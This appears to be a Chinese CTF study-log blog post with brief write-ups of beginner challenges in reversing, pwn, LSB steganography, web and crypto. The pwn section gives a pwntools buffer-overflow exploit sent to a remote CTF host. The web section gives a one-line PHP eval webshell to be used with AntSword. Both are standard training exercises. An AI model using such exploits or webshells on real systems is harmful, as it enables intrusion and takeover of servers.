当前位置: 首页 > article >正文

2.7学习记录

re

[WUSTCTF2020]Cr0ssfun

得到附件先查壳在这里插入图片描述无壳elf64位文件,放进ida查看主调函数在这里插入图片描述往下追踪,发现7部分相似的结构,给的数字看上去像是ASCII码,对照码表把7部分串联起来在这里插入图片描述得到:wctf2020{cpp_@nd_r3verse_@re_fun}

pwn

rip

先查壳在这里插入图片描述发现没有保护,64位elf文件,放ida里看看在这里插入图片描述发现后门函数,在主调函数处发现gets函数,存在栈溢出在这里插入图片描述控制程序返回到0x40201B,就可以得到系统的shell了
exp

from pwn import  *  #调用pwntools库

r = remote('node3.buuoj.cn',27542)     #远程连接

offset = 0xF + 8    #偏移量
payload = offset * 'a' + p64(0x40201B)  #漏洞利用

r.sendline(payload)		#发送漏洞
r.interactive()		#远程交互

misc

LSB

这题题目是校徽,根据提示猜测是lsb隐写
在这里插入图片描述采用stegsolve工具在这里插入图片描述调整最低位宽,之后点击Save Bin保存文件,发现是个二维码,用cqr扫描即可

web

[极客大挑战 2019]Knife

在这里插入图片描述根据提示构造木马

/?<?php eval($_POST["Syc"]);?>

之后用蚁剑连接即可在这里插入图片描述找到flag了在这里插入图片描述

crypto

Alice与Bob

题目描述很有意思:密码学历史中,有两位知名的杰出人物,Alice和Bob。他们的爱情经过置换和轮加密也难以混淆,即使是没有身份认证也可以知根知底。就像在数学王国中的素数一样,孤傲又热情。下面是一个大整数:98554799767,请分解为两个素数,分解后,小的放前面,大的放后面,合成一个新的数字,进行md5的32位小写哈希,提交答案。
用在线工具分解在这里插入图片描述安装题目要求排列一下即可,得到flag{d450209323a847c8d01c6be47c81811a}


http://www.kler.cn/a/533032.html

相关文章:

  • DeepSeek 的含金量还在上升
  • 【HarmonyOS之旅】基于ArkTS开发(二) -> UI开发三
  • [吾爱出品]CursorWorkshop V6.33 专业鼠标光标制作工具-简体中文汉化绿色版
  • 编程AI深度实战:大模型哪个好? Mistral vs Qwen vs Deepseek vs Llama
  • Java JWT 技术详解与实践指南
  • React中useState()钩子和函数式组件底层渲染流程详解
  • 基于python的体育新闻数据可视化及分析
  • 6. k8s二进制集群之各节点部署
  • 神经网络常见激活函数 1-sigmoid函数
  • 11.8 LangChain记忆系统设计解析:BaseMemory与BaseChatMessageMemory的继承体系与实战应用
  • 大模型高级工程师实践 - 将课程内容转为视频
  • 司库建设:财务资金管理制度及风险管控要点
  • 数据库课程设计使用Java+JDBC+MySQL+Swing实现的会议预约管理系统源代码+数据库
  • 第二十三章 MySQL锁之表锁
  • wsl+phpstorm+xdebug|windows子系统配置phpstorm开发调试|断点调试
  • 基于“蘑菇书”的强化学习知识点(五):条件期望
  • 斗地主小游戏练习
  • 解决Mac安装软件的“已损坏,无法打开。 您应该将它移到废纸篓”问题
  • 基于微信小程序的绘画学习平台的设计与开发
  • LeetCode 1800. Maximum Ascending Subarray Sum
  • Ubuntu下Tkinter绑定数字小键盘上的回车键(PySide6类似)
  • 在C#中,什么是多态如何实现
  • 有限单元法的相关概念
  • 全栈开发:使用.NET Core WebAPI构建前后端分离的核心技巧(二)
  • 使用 Axios 获取用户数据并渲染——个人信息设置
  • Java BIO详解